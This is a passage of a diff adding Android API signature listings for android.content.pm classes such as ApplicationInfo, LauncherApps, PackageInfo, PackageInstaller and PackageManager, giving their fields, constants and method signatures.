+    field @Deprecated public static final int FLAG_SUPPORTS_SCREEN_DENSITIES = 8192; // 0x2000
+    field public static final int FLAG_SUPPORTS_SMALL_SCREENS = 512; // 0x200
+    field public static final int FLAG_SUPPORTS_XLARGE_SCREENS = 524288; // 0x80000
+    field public static final int FLAG_SUSPENDED = 1073741824; // 0x40000000
+    field public static final int FLAG_SYSTEM = 1; // 0x1
+    field public static final int FLAG_TEST_ONLY = 256; // 0x100
+    field public static final int FLAG_UPDATED_SYSTEM_APP = 128; // 0x80
+    field public static final int FLAG_USES_CLEARTEXT_TRAFFIC = 134217728; // 0x8000000
+    field public static final int FLAG_VM_SAFE_MODE = 16384; // 0x4000
+    field public static final int GWP_ASAN_ALWAYS = 1; // 0x1
+    field public static final int GWP_ASAN_DEFAULT = -1; // 0xffffffff
+    field public static final int GWP_ASAN_NEVER = 0; // 0x0
+    field public static final int MEMTAG_ASYNC = 1; // 0x1
+    field public static final int MEMTAG_DEFAULT = -1; // 0xffffffff
+    field public static final int MEMTAG_OFF = 0; // 0x0
+    field public static final int MEMTAG_SYNC = 2; // 0x2
+    field public static final int RAW_EXTERNAL_STORAGE_ACCESS_DEFAULT = 0; // 0x0
+    field public static final int RAW_EXTERNAL_STORAGE_ACCESS_NOT_REQUESTED = 2; // 0x2
+    field public static final int RAW_EXTERNAL_STORAGE_ACCESS_REQUESTED = 1; // 0x1
+    field public static final int ZEROINIT_DEFAULT = -1; // 0xffffffff
+    field public static final int ZEROINIT_DISABLED = 0; // 0x0
+    field public static final int ZEROINIT_ENABLED = 1; // 0x1
+    field public String appComponentFactory;
+    field public String backupAgentName;
+    field public int category;
+    field public String className;
+    field public int compatibleWidthLimitDp;
+    field public int compileSdkVersion;
+    field @Nullable public String compileSdkVersionCodename;
+    field public String dataDir;
+    field public int descriptionRes;
+    field public String deviceProtectedDataDir;
+    field public boolean enabled;
+    field public int flags;
+    field public int largestWidthLimitDp;
+    field public String manageSpaceActivityName;
+    field public int minSdkVersion;
+    field public String nativeLibraryDir;
+    field public String permission;
+    field public String processName;
+    field public String publicSourceDir;
+    field public int requiresSmallestWidthDp;
+    field public String[] sharedLibraryFiles;
+    field public String sourceDir;
+    field public String[] splitNames;
+    field public String[] splitPublicSourceDirs;
+    field public String[] splitSourceDirs;
+    field public java.util.UUID storageUuid;
+    field public int targetSdkVersion;
+    field public String taskAffinity;
+    field public int theme;
+    field public int uiOptions;
+    field public int uid;
+  }
+
+  public static class ApplicationInfo.DisplayNameComparator implements java.util.Comparator<android.content.pm.ApplicationInfo> {
+    ctor public ApplicationInfo.DisplayNameComparator(android.content.pm.PackageManager);
+    method public final int compare(android.content.pm.ApplicationInfo, android.content.pm.ApplicationInfo);
+  }
+
+  public final class Attribution implements android.os.Parcelable {
+    method public int describeContents();
+    method @IdRes public int getLabel();
+    method @NonNull public String getTag();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.Attribution> CREATOR;
+  }
+
+  public final class ChangedPackages implements android.os.Parcelable {
+    ctor public ChangedPackages(int, @NonNull java.util.List<java.lang.String>);
+    method public int describeContents();
+    method @NonNull public java.util.List<java.lang.String> getPackageNames();
+    method public int getSequenceNumber();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.ChangedPackages> CREATOR;
+  }
+
+  public final class Checksum implements android.os.Parcelable {
+    ctor public Checksum(int, @NonNull byte[]);
+    method public int describeContents();
+    method public int getType();
+    method @NonNull public byte[] getValue();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.Checksum> CREATOR;
+    field public static final int TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256 = 32; // 0x20
+    field public static final int TYPE_PARTIAL_MERKLE_ROOT_1M_SHA512 = 64; // 0x40
+    field @Deprecated public static final int TYPE_WHOLE_MD5 = 2; // 0x2
+    field public static final int TYPE_WHOLE_MERKLE_ROOT_4K_SHA256 = 1; // 0x1
+    field @Deprecated public static final int TYPE_WHOLE_SHA1 = 4; // 0x4
+    field @Deprecated public static final int TYPE_WHOLE_SHA256 = 8; // 0x8
+    field @Deprecated public static final int TYPE_WHOLE_SHA512 = 16; // 0x10
+  }
+
+  public class ComponentInfo extends android.content.pm.PackageItemInfo {
+    ctor public ComponentInfo();
+    ctor public ComponentInfo(android.content.pm.ComponentInfo);
+    ctor protected ComponentInfo(android.os.Parcel);
+    method public final int getBannerResource();
+    method public final int getIconResource();
+    method public final int getLogoResource();
+    method public boolean isEnabled();
+    field public android.content.pm.ApplicationInfo applicationInfo;
+    field public String[] attributionTags;
+    field public int descriptionRes;
+    field public boolean directBootAware;
+    field public boolean enabled;
+    field public boolean exported;
+    field public String processName;
+    field public String splitName;
+  }
+
+  public class ConfigurationInfo implements android.os.Parcelable {
+    ctor public ConfigurationInfo();
+    ctor public ConfigurationInfo(android.content.pm.ConfigurationInfo);
+    method public int describeContents();
+    method public String getGlEsVersion();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.ConfigurationInfo> CREATOR;
+    field public static final int GL_ES_VERSION_UNDEFINED = 0; // 0x0
+    field public static final int INPUT_FEATURE_FIVE_WAY_NAV = 2; // 0x2
+    field public static final int INPUT_FEATURE_HARD_KEYBOARD = 1; // 0x1
+    field public int reqGlEsVersion;
+    field public int reqInputFeatures;
+    field public int reqKeyboardType;
+    field public int reqNavigation;
+    field public int reqTouchScreen;
+  }
+
+  public class CrossProfileApps {
+    method public boolean canInteractAcrossProfiles();
+    method public boolean canRequestInteractAcrossProfiles();
+    method @NonNull public android.content.Intent createRequestInteractAcrossProfilesIntent();
+    method @NonNull public android.graphics.drawable.Drawable getProfileSwitchingIconDrawable(@NonNull android.os.UserHandle);
+    method @NonNull public CharSequence getProfileSwitchingLabel(@NonNull android.os.UserHandle);
+    method @NonNull public java.util.List<android.os.UserHandle> getTargetUserProfiles();
+    method @RequiresPermission(anyOf={android.Manifest.permission.INTERACT_ACROSS_PROFILES, "android.permission.INTERACT_ACROSS_USERS"}) public void startActivity(@NonNull android.content.Intent, @NonNull android.os.UserHandle, @Nullable android.app.Activity);
+    method @RequiresPermission(anyOf={android.Manifest.permission.INTERACT_ACROSS_PROFILES, "android.permission.INTERACT_ACROSS_USERS"}) public void startActivity(@NonNull android.content.Intent, @NonNull android.os.UserHandle, @Nullable android.app.Activity, @Nullable android.os.Bundle);
+    method public void startMainActivity(@NonNull android.content.ComponentName, @NonNull android.os.UserHandle);
+    field public static final String ACTION_CAN_INTERACT_ACROSS_PROFILES_CHANGED = "android.content.pm.action.CAN_INTERACT_ACROSS_PROFILES_CHANGED";
+  }
+
+  public final class FeatureGroupInfo implements android.os.Parcelable {
+    ctor public FeatureGroupInfo();
+    ctor public FeatureGroupInfo(android.content.pm.FeatureGroupInfo);
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.FeatureGroupInfo> CREATOR;
+    field public android.content.pm.FeatureInfo[] features;
+  }
+
+  public class FeatureInfo implements android.os.Parcelable {
+    ctor public FeatureInfo();
+    ctor public FeatureInfo(android.content.pm.FeatureInfo);
+    method public int describeContents();
+    method public String getGlEsVersion();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.FeatureInfo> CREATOR;
+    field public static final int FLAG_REQUIRED = 1; // 0x1
+    field public static final int GL_ES_VERSION_UNDEFINED = 0; // 0x0
+    field public int flags;
+    field public String name;
+    field public int reqGlEsVersion;
+    field public int version;
+  }
+
+  public final class InstallSourceInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public String getInitiatingPackageName();
+    method @Nullable public android.content.pm.SigningInfo getInitiatingPackageSigningInfo();
+    method @Nullable public String getInstallingPackageName();
+    method @Nullable public String getOriginatingPackageName();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.InstallSourceInfo> CREATOR;
+  }
+
+  public class InstrumentationInfo extends android.content.pm.PackageItemInfo implements android.os.Parcelable {
+    ctor public InstrumentationInfo();
+    ctor public InstrumentationInfo(android.content.pm.InstrumentationInfo);
+    method public int describeContents();
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.InstrumentationInfo> CREATOR;
+    field public String dataDir;
+    field public boolean functionalTest;
+    field public boolean handleProfiling;
+    field public String publicSourceDir;
+    field public String sourceDir;
+    field public String[] splitNames;
+    field public String[] splitPublicSourceDirs;
+    field public String[] splitSourceDirs;
+    field public String targetPackage;
+    field public String targetProcesses;
+  }
+
+  public class LabeledIntent extends android.content.Intent {
+    ctor public LabeledIntent(android.content.Intent, String, int, int);
+    ctor public LabeledIntent(android.content.Intent, String, CharSequence, int);
+    ctor public LabeledIntent(String, int, int);
+    ctor public LabeledIntent(String, CharSequence, int);
+    method public int getIconResource();
+    method public int getLabelResource();
+    method public CharSequence getNonLocalizedLabel();
+    method public String getSourcePackage();
+    method public android.graphics.drawable.Drawable loadIcon(android.content.pm.PackageManager);
+    method public CharSequence loadLabel(android.content.pm.PackageManager);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.LabeledIntent> CREATOR;
+  }
+
+  public class LauncherActivityInfo {
+    method @NonNull public android.content.pm.ActivityInfo getActivityInfo();
+    method public android.content.pm.ApplicationInfo getApplicationInfo();
+    method public android.graphics.drawable.Drawable getBadgedIcon(int);
+    method public android.content.ComponentName getComponentName();
+    method public long getFirstInstallTime();
+    method public android.graphics.drawable.Drawable getIcon(int);
+    method public CharSequence getLabel();
+    method @FloatRange(from=0.0, to=1.0) public float getLoadingProgress();
+    method public String getName();
+    method public android.os.UserHandle getUser();
+  }
+
+  public class LauncherApps {
+    method public java.util.List<android.content.pm.LauncherActivityInfo> getActivityList(String, android.os.UserHandle);
+    method @NonNull public java.util.List<android.content.pm.PackageInstaller.SessionInfo> getAllPackageInstallerSessions();
+    method public android.content.pm.ApplicationInfo getApplicationInfo(@NonNull String, int, @NonNull android.os.UserHandle) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public android.content.pm.LauncherApps.PinItemRequest getPinItemRequest(android.content.Intent);
+    method public java.util.List<android.os.UserHandle> getProfiles();
+    method public android.graphics.drawable.Drawable getShortcutBadgedIconDrawable(android.content.pm.ShortcutInfo, int);
+    method @Nullable public android.content.IntentSender getShortcutConfigActivityIntent(@NonNull android.content.pm.LauncherActivityInfo);
+    method public java.util.List<android.content.pm.LauncherActivityInfo> getShortcutConfigActivityList(@Nullable String, @NonNull android.os.UserHandle);
+    method public android.graphics.drawable.Drawable getShortcutIconDrawable(@NonNull android.content.pm.ShortcutInfo, int);
+    method @Nullable public android.app.PendingIntent getShortcutIntent(@NonNull String, @NonNull String, @Nullable android.os.Bundle, @NonNull android.os.UserHandle);
+    method @Nullable public java.util.List<android.content.pm.ShortcutInfo> getShortcuts(@NonNull android.content.pm.LauncherApps.ShortcutQuery, @NonNull android.os.UserHandle);
+    method @Nullable public android.os.Bundle getSuspendedPackageLauncherExtras(String, android.os.UserHandle);
+    method public boolean hasShortcutHostPermission();
+    method public boolean isActivityEnabled(android.content.ComponentName, android.os.UserHandle);
+    method public boolean isPackageEnabled(String, android.os.UserHandle);
+    method public void pinShortcuts(@NonNull String, @NonNull java.util.List<java.lang.String>, @NonNull android.os.UserHandle);
+    method public void registerCallback(android.content.pm.LauncherApps.Callback);
+    method public void registerCallback(android.content.pm.LauncherApps.Callback, android.os.Handler);
+    method public void registerPackageInstallerSessionCallback(@NonNull java.util.concurrent.Executor, @NonNull android.content.pm.PackageInstaller.SessionCallback);
+    method public android.content.pm.LauncherActivityInfo resolveActivity(android.content.Intent, android.os.UserHandle);
+    method public boolean shouldHideFromSuggestions(@NonNull String, @NonNull android.os.UserHandle);
+    method public void startAppDetailsActivity(android.content.ComponentName, android.os.UserHandle, android.graphics.Rect, android.os.Bundle);
+    method public void startMainActivity(android.content.ComponentName, android.os.UserHandle, android.graphics.Rect, android.os.Bundle);
+    method public void startPackageInstallerSessionDetailsActivity(@NonNull android.content.pm.PackageInstaller.SessionInfo, @Nullable android.graphics.Rect, @Nullable android.os.Bundle);
+    method public void startShortcut(@NonNull String, @NonNull String, @Nullable android.graphics.Rect, @Nullable android.os.Bundle, @NonNull android.os.UserHandle);
+    method public void startShortcut(@NonNull android.content.pm.ShortcutInfo, @Nullable android.graphics.Rect, @Nullable android.os.Bundle);
+    method public void unregisterCallback(android.content.pm.LauncherApps.Callback);
+    method public void unregisterPackageInstallerSessionCallback(@NonNull android.content.pm.PackageInstaller.SessionCallback);
+    field public static final String ACTION_CONFIRM_PIN_APPWIDGET = "android.content.pm.action.CONFIRM_PIN_APPWIDGET";
+    field public static final String ACTION_CONFIRM_PIN_SHORTCUT = "android.content.pm.action.CONFIRM_PIN_SHORTCUT";
+    field public static final String EXTRA_PIN_ITEM_REQUEST = "android.content.pm.extra.PIN_ITEM_REQUEST";
+  }
+
+  public abstract static class LauncherApps.Callback {
+    ctor public LauncherApps.Callback();
+    method public abstract void onPackageAdded(String, android.os.UserHandle);
+    method public abstract void onPackageChanged(String, android.os.UserHandle);
+    method public void onPackageLoadingProgressChanged(@NonNull String, @NonNull android.os.UserHandle, float);
+    method public abstract void onPackageRemoved(String, android.os.UserHandle);
+    method public abstract void onPackagesAvailable(String[], android.os.UserHandle, boolean);
+    method public void onPackagesSuspended(String[], android.os.UserHandle);
+    method @Deprecated public void onPackagesSuspended(String[], android.os.UserHandle, @Nullable android.os.Bundle);
+    method public abstract void onPackagesUnavailable(String[], android.os.UserHandle, boolean);
+    method public void onPackagesUnsuspended(String[], android.os.UserHandle);
+    method public void onShortcutsChanged(@NonNull String, @NonNull java.util.List<android.content.pm.ShortcutInfo>, @NonNull android.os.UserHandle);
+  }
+
+  public static final class LauncherApps.PinItemRequest implements android.os.Parcelable {
+    method public boolean accept(@Nullable android.os.Bundle);
+    method public boolean accept();
+    method public int describeContents();
+    method @Nullable public android.appwidget.AppWidgetProviderInfo getAppWidgetProviderInfo(android.content.Context);
+    method @Nullable public android.os.Bundle getExtras();
+    method public int getRequestType();
+    method @Nullable public android.content.pm.ShortcutInfo getShortcutInfo();
+    method public boolean isValid();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.LauncherApps.PinItemRequest> CREATOR;
+    field public static final int REQUEST_TYPE_APPWIDGET = 2; // 0x2
+    field public static final int REQUEST_TYPE_SHORTCUT = 1; // 0x1
+  }
+
+  public static class LauncherApps.ShortcutQuery {
+    ctor public LauncherApps.ShortcutQuery();
+    method public android.content.pm.LauncherApps.ShortcutQuery setActivity(@Nullable android.content.ComponentName);
+    method public android.content.pm.LauncherApps.ShortcutQuery setChangedSince(long);
+    method @NonNull public android.content.pm.LauncherApps.ShortcutQuery setLocusIds(@Nullable java.util.List<android.content.LocusId>);
+    method public android.content.pm.LauncherApps.ShortcutQuery setPackage(@Nullable String);
+    method public android.content.pm.LauncherApps.ShortcutQuery setQueryFlags(int);
+    method public android.content.pm.LauncherApps.ShortcutQuery setShortcutIds(@Nullable java.util.List<java.lang.String>);
+    field public static final int FLAG_GET_KEY_FIELDS_ONLY = 4; // 0x4
+    field public static final int FLAG_MATCH_CACHED = 16; // 0x10
+    field public static final int FLAG_MATCH_DYNAMIC = 1; // 0x1
+    field public static final int FLAG_MATCH_MANIFEST = 8; // 0x8
+    field public static final int FLAG_MATCH_PINNED = 2; // 0x2
+    field public static final int FLAG_MATCH_PINNED_BY_ANY_LAUNCHER = 1024; // 0x400
+  }
+
+  public final class ModuleInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public CharSequence getName();
+    method @Nullable public String getPackageName();
+    method public boolean isHidden();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.ModuleInfo> CREATOR;
+  }
+
+  public class PackageInfo implements android.os.Parcelable {
+    ctor public PackageInfo();
+    method public int describeContents();
+    method public long getLongVersionCode();
+    method public void setLongVersionCode(long);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.pm.PackageInfo> CREATOR;
+    field public static final int INSTALL_LOCATION_AUTO = 0; // 0x0
+    field public static final int INSTALL_LOCATION_INTERNAL_ONLY = 1; // 0x1
+    field public static final int INSTALL_LOCATION_PREFER_EXTERNAL = 2; // 0x2
+    field public static final int REQUESTED_PERMISSION_GRANTED = 2; // 0x2
+    field public static final int REQUESTED_PERMISSION_NEVER_FOR_LOCATION = 65536; // 0x10000
+    field public android.content.pm.ActivityInfo[] activities;
+    field public android.content.pm.ApplicationInfo applicationInfo;
+    field @Nullable public android.content.pm.Attribution[] attributions;
+    field public int baseRevisionCode;
+    field public android.content.pm.ConfigurationInfo[] configPreferences;
+    field public android.content.pm.FeatureGroupInfo[] featureGroups;
+    field public long firstInstallTime;
+    field public int[] gids;
+    field public int installLocation;
+    field public android.content.pm.InstrumentationInfo[] instrumentation;
+    field public boolean isApex;
+    field public long lastUpdateTime;
+    field public String packageName;
+    field public android.content.pm.PermissionInfo[] permissions;
+    field public android.content.pm.ProviderInfo[] providers;
+    field public android.content.pm.ActivityInfo[] receivers;
+    field public android.content.pm.FeatureInfo[] reqFeatures;
+    field public String[] requestedPermissions;
+    field public int[] requestedPermissionsFlags;
+    field public android.content.pm.ServiceInfo[] services;
+    field public String sharedUserId;
+    field public int sharedUserLabel;
+    field @Deprecated public android.content.pm.Signature[] signatures;
+    field public android.content.pm.SigningInfo signingInfo;
+    field public String[] splitNames;
+    field public int[] splitRevisionCodes;
+    field @Deprecated public int versionCode;
+    field public String versionName;
+  }
+
+  public class PackageInstaller {
+    method public void abandonSession(int);
+    method public int createSession(@NonNull android.content.pm.PackageInstaller.SessionParams) throws java.io.IOException;
+    method @Deprecated @Nullable public android.content.pm.PackageInstaller.SessionInfo getActiveStagedSession();
+    method @NonNull public java.util.List<android.content.pm.PackageInstaller.SessionInfo> getActiveStagedSessions();
+    method @NonNull public java.util.List<android.content.pm.PackageInstaller.SessionInfo> getAllSessions();
+    method @NonNull public java.util.List<android.content.pm.PackageInstaller.SessionInfo> getMySessions();
+    method @Nullable public android.content.pm.PackageInstaller.SessionInfo getSessionInfo(int);
+    method @NonNull public java.util.List<android.content.pm.PackageInstaller.SessionInfo> getStagedSessions();
+    method @RequiresPermission(allOf={android.Manifest.permission.INSTALL_PACKAGES, "com.android.permission.INSTALL_EXISTING_PACKAGES"}) public void installExistingPackage(@NonNull String, int, @Nullable android.content.IntentSender);
+    method @NonNull public android.content.pm.PackageInstaller.Session openSession(int) throws java.io.IOException;
+    method public void registerSessionCallback(@NonNull android.content.pm.PackageInstaller.SessionCallback);
+    method public void registerSessionCallback(@NonNull android.content.pm.PackageInstaller.SessionCallback, @NonNull android.os.Handler);
+    method @RequiresPermission(anyOf={android.Manifest.permission.DELETE_PACKAGES, android.Manifest.permission.REQUEST_DELETE_PACKAGES}) public void uninstall(@NonNull String, @NonNull android.content.IntentSender);
+    method @RequiresPermission(anyOf={android.Manifest.permission.DELETE_PACKAGES, android.Manifest.permission.REQUEST_DELETE_PACKAGES}) public void uninstall(@NonNull android.content.pm.VersionedPackage, @NonNull android.content.IntentSender);
+    method @RequiresPermission(android.Manifest.permission.DELETE_PACKAGES) public void uninstallExistingPackage(@NonNull String, @Nullable android.content.IntentSender);
+    method public void unregisterSessionCallback(@NonNull android.content.pm.PackageInstaller.SessionCallback);
+    method public void updateSessionAppIcon(int, @Nullable android.graphics.Bitmap);
+    method public void updateSessionAppLabel(int, @Nullable CharSequence);
+    field public static final String ACTION_SESSION_COMMITTED = "android.content.pm.action.SESSION_COMMITTED";
+    field public static final String ACTION_SESSION_DETAILS = "android.content.pm.action.SESSION_DETAILS";
+    field public static final String ACTION_SESSION_UPDATED = "android.content.pm.action.SESSION_UPDATED";
+    field public static final String EXTRA_OTHER_PACKAGE_NAME = "android.content.pm.extra.OTHER_PACKAGE_NAME";
+    field public static final String EXTRA_PACKAGE_NAME = "android.content.pm.extra.PACKAGE_NAME";
+    field public static final String EXTRA_SESSION = "android.content.pm.extra.SESSION";
+    field public static final String EXTRA_SESSION_ID = "android.content.pm.extra.SESSION_ID";
+    field public static final String EXTRA_STATUS = "android.content.pm.extra.STATUS";
+    field public static final String EXTRA_STATUS_MESSAGE = "android.content.pm.extra.STATUS_MESSAGE";
+    field public static final String EXTRA_STORAGE_PATH = "android.content.pm.extra.STORAGE_PATH";
+    field public static final int STATUS_FAILURE = 1; // 0x1
+    field public static final int STATUS_FAILURE_ABORTED = 3; // 0x3
+    field public static final int STATUS_FAILURE_BLOCKED = 2; // 0x2
+    field public static final int STATUS_FAILURE_CONFLICT = 5; // 0x5
+    field public static final int STATUS_FAILURE_INCOMPATIBLE = 7; // 0x7
+    field public static final int STATUS_FAILURE_INVALID = 4; // 0x4
+    field public static final int STATUS_FAILURE_STORAGE = 6; // 0x6
+    field public static final int STATUS_PENDING_USER_ACTION = -1; // 0xffffffff
+    field public static final int STATUS_SUCCESS = 0; // 0x0
+  }
+
+  public static class PackageInstaller.Session implements java.io.Closeable {
+    method public void abandon();
+    method public void addChildSessionId(int);
+    method public void close();
+    method public void commit(@NonNull android.content.IntentSender);
+    method public void fsync(@NonNull java.io.OutputStream) throws java.io.IOException;
+    method @NonNull public int[] getChildSessionIds();
+    method @NonNull public String[] getNames() throws java.io.IOException;
+    method public int getParentSessionId();
+    method public boolean isMultiPackage();
+    method public boolean isStaged();
+    method @NonNull public java.io.InputStream openRead(@NonNull String) throws java.io.IOException;
+    method @NonNull public java.io.OutputStream openWrite(@NonNull String, long, long) throws java.io.IOException;
+    method public void removeChildSessionId(int);
+    method public void removeSplit(@NonNull String) throws java.io.IOException;
+    method @Deprecated public void setChecksums(@NonNull String, @NonNull java.util.List<android.content.pm.Checksum>, @Nullable byte[]) throws java.io.IOException;
+    method public void setStagingProgress(float);
+    method public void transfer(@NonNull String) throws android.content.pm.PackageManager.NameNotFoundException;
+  }
+
+  public abstract static class PackageInstaller.SessionCallback {
+    ctor public PackageInstaller.SessionCallback();
+    method public abstract void onActiveChanged(int, boolean);
+    method public abstract void onBadgingChanged(int);
+    method public abstract void onCreated(int);
+    method public abstract void onFinished(int, boolean);
+    method public abstract void onProgressChanged(int, float);
+  }
+
+  public static class PackageInstaller.SessionInfo implements android.os.Parcelable {
+    method @Nullable public android.content.Intent createDetailsIntent();
+    method public int describeContents();
+    method @Nullable public android.graphics.Bitmap getAppIcon();
+    method @Nullable public CharSequence getAppLabel();
+    method @Nullable public String getAppPackageName();
+    method @NonNull public int[] getChildSessionIds();
+    method public long getCreatedMillis();
+    method public int getInstallLocation();
+    method public int getInstallReason();
+    method @Nullable public String getInstallerAttributionTag();
+    method @Nullable public String getInstallerPackageName();
+    method public int getMode();
+    method public int getOriginatingUid();
+    method @Nullable public android.net.Uri getOriginatingUri();
+    method public int getParentSessionId();
+    method public float getProgress();
+    method @Nullable public android.net.Uri getReferrerUri();
+    method public int getRequireUserAction();
+    method public int getSessionId();
+    method public long getSize();
+    method public int getStagedSessionErrorCode();
+    method @NonNull public String getStagedSessionErrorMessage();
+    method public long getUpdatedMillis();
+    method @NonNull public android.os.UserHandle getUser();
+    method public boolean hasParentSessionId();
+    method public boolean isActive();
+    method public boolean isCommitted();
+    method public boolean isMultiPackage();
+    method public boolean isSealed();
+    method public boolean isStaged();
+    method public boolean isStagedSessionActive();
+    method public boolean isStagedSessionApplied();
+    method public boolean isStagedSessionFailed();
+    method public boolean isStagedSessionReady();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final android.os.Parcelable.Creator<android.content.pm.PackageInstaller.SessionInfo> CREATOR;
+    field public static final int INVALID_ID = -1; // 0xffffffff
+    field public static final int STAGED_SESSION_ACTIVATION_FAILED = 2; // 0x2
+    field public static final int STAGED_SESSION_CONFLICT = 4; // 0x4
+    field public static final int STAGED_SESSION_NO_ERROR = 0; // 0x0
+    field public static final int STAGED_SESSION_UNKNOWN = 3; // 0x3
+    field public static final int STAGED_SESSION_VERIFICATION_FAILED = 1; // 0x1
+  }
+
+  public static class PackageInstaller.SessionParams implements android.os.Parcelable {
+    ctor public PackageInstaller.SessionParams(int);
+    method public int describeContents();
+    method public void setAppIcon(@Nullable android.graphics.Bitmap);
+    method public void setAppLabel(@Nullable CharSequence);
+    method public void setAppPackageName(@Nullable String);
+    method @Deprecated public void setAutoRevokePermissionsMode(boolean);
+    method public void setInstallLocation(int);
+    method public void setInstallReason(int);
+    method public void setInstallScenario(int);
+    method public void setMultiPackage();
+    method public void setOriginatingUid(int);
+    method public void setOriginatingUri(@Nullable android.net.Uri);
+    method public void setReferrerUri(@Nullable android.net.Uri);
+    method public void setRequireUserAction(int);
+    method public void setSize(long);
+    method public void setWhitelistedRestrictedPermissions(@Nullable java.util.Set<java.lang.String>);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final android.os.Parcelable.Creator<android.content.pm.PackageInstaller.SessionParams> CREATOR;
+    field public static final int MODE_FULL_INSTALL = 1; // 0x1
+    field public static final int MODE_INHERIT_EXISTING = 2; // 0x2
+    field @NonNull public static final java.util.Set<java.lang.String> RESTRICTED_PERMISSIONS_ALL;
+    field public static final int USER_ACTION_NOT_REQUIRED = 2; // 0x2
+    field public static final int USER_ACTION_REQUIRED = 1; // 0x1
+    field public static final int USER_ACTION_UNSPECIFIED = 0; // 0x0
+  }
+
+  public class PackageItemInfo {
+    ctor public PackageItemInfo();
+    ctor public PackageItemInfo(android.content.pm.PackageItemInfo);
+    ctor protected PackageItemInfo(android.os.Parcel);
+    method protected void dumpBack(android.util.Printer, String);
+    method protected void dumpFront(android.util.Printer, String);
+    method public android.graphics.drawable.Drawable loadBanner(android.content.pm.PackageManager);
+    method public android.graphics.drawable.Drawable loadIcon(android.content.pm.PackageManager);
+    method @NonNull public CharSequence loadLabel(@NonNull android.content.pm.PackageManager);
+    method public android.graphics.drawable.Drawable loadLogo(android.content.pm.PackageManager);
+    method public android.graphics.drawable.Drawable loadUnbadgedIcon(android.content.pm.PackageManager);
+    method public android.content.res.XmlResourceParser loadXmlMetaData(android.content.pm.PackageManager, String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public int banner;
+    field public int icon;
+    field public int labelRes;
+    field public int logo;
+    field public android.os.Bundle metaData;
+    field public String name;
+    field public CharSequence nonLocalizedLabel;
+    field public String packageName;
+  }
+
+  public static class PackageItemInfo.DisplayNameComparator implements java.util.Comparator<android.content.pm.PackageItemInfo> {
+    ctor public PackageItemInfo.DisplayNameComparator(android.content.pm.PackageManager);
+    method public final int compare(android.content.pm.PackageItemInfo, android.content.pm.PackageItemInfo);
+  }
+
+  public abstract class PackageManager {
+    ctor @Deprecated public PackageManager();
+    method @Deprecated public abstract void addPackageToPreferred(@NonNull String);
+    method public abstract boolean addPermission(@NonNull android.content.pm.PermissionInfo);
+    method public abstract boolean addPermissionAsync(@NonNull android.content.pm.PermissionInfo);
+    method @Deprecated public abstract void addPreferredActivity(@NonNull android.content.IntentFilter, int, @Nullable android.content.ComponentName[], @NonNull android.content.ComponentName);
+    method @RequiresPermission(value="android.permission.WHITELIST_RESTRICTED_PERMISSIONS", conditional=true) public boolean addWhitelistedRestrictedPermission(@NonNull String, @NonNull String, int);
+    method public abstract boolean canRequestPackageInstalls();
+    method public abstract String[] canonicalToCurrentPackageNames(@NonNull String[]);
+    method @CheckResult public abstract int checkPermission(@NonNull String, @NonNull String);
+    method @CheckResult public abstract int checkSignatures(@NonNull String, @NonNull String);
+    method @CheckResult public abstract int checkSignatures(int, int);
+    method public abstract void clearInstantAppCookie();
+    method @Deprecated public abstract void clearPackagePreferredActivities(@NonNull String);
+    method public abstract String[] currentToCanonicalPackageNames(@NonNull String[]);
+    method public abstract void extendVerificationTimeout(int, int, long);
+    method @Nullable public abstract android.graphics.drawable.Drawable getActivityBanner(@NonNull android.content.ComponentName) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @Nullable public abstract android.graphics.drawable.Drawable getActivityBanner(@NonNull android.content.Intent) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract android.graphics.drawable.Drawable getActivityIcon(@NonNull android.content.ComponentName) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract android.graphics.drawable.Drawable getActivityIcon(@NonNull android.content.Intent) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract android.content.pm.ActivityInfo getActivityInfo(@NonNull android.content.ComponentName, int) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @Nullable public abstract android.graphics.drawable.Drawable getActivityLogo(@NonNull android.content.ComponentName) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @Nullable public abstract android.graphics.drawable.Drawable getActivityLogo(@NonNull android.content.Intent) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public abstract java.util.List<android.content.pm.PermissionGroupInfo> getAllPermissionGroups(int);
+    method @Nullable public abstract android.graphics.drawable.Drawable getApplicationBanner(@NonNull android.content.pm.ApplicationInfo);
+    method @Nullable public abstract android.graphics.drawable.Drawable getApplicationBanner(@NonNull String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method public abstract int getApplicationEnabledSetting(@NonNull String);
+    method @NonNull public abstract android.graphics.drawable.Drawable getApplicationIcon(@NonNull android.content.pm.ApplicationInfo);
+    method @NonNull public abstract android.graphics.drawable.Drawable getApplicationIcon(@NonNull String) throws android.content.pm.PackageManager.NameNotFoundException;
